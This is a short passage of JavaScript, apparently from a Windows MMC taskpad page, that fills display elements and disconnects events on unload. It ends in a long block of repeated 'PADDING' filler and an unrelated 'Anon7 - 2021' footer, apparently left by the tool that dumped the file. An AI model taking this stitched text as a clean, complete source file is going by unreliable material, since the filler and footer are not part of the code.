    DisplayNameElem.innerHTML += "<BR>";

    if (strDetails != "")
    {
        strDetails = "<BR>" + strDetails + "<BR>"
    }

    DetailsElem.innerHTML = strDetails;

    if (strDescription != "")
    {
        strDescription =   L_strDescription_Text  +  strDescription;
    }

    DescriptionElem.innerText = strDescription;
}


function OnUnload()
{
    MMCEvents.Disconnect;
}
PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING

Anon7 - 2021